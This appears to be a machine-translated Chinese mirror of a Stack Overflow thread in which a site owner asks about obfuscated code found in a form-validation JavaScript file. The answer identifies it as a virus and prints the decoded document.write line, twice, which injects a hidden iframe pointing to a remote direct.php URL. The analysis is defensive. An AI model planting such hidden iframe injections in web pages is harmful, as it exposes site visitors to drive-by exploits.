javascript - 在我的 javascript 文件中发现的这个奇怪代码是什么？

<分区>

我的一个表单验证文件，我发现了以下代码(见下文) 我的 friend 在扫描我的网站时指出了它，说它是病毒。

但它到底是什么？

最佳答案

一种病毒。我在数组文字中包含一些带有 Unicode 转义字符的字符串，第一个是一些 html，第二个是 "write"。然后，执行 document[arr[1]](arr[0])，转换为以下内容:

document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>');
document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>');

我不知道(也不会检查)这些 iframe 包含什么，可能会有一些漏洞利用。

此外，代码确实包含(在这两个 iframe 写入之间)一些函数(_1lO 和 O0l)，这些函数可能会转义 IlO string 在 evaled 之前(是的，eval 是邪恶的!:-)，但是在你的 pastebin 片段前面有一些缺失的代码，所以我无法告诉你它们到底是什么做。你能给我们完整的剧本吗？

关于javascript - 在我的 javascript 文件中发现的这个奇怪代码是什么？，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/11820540/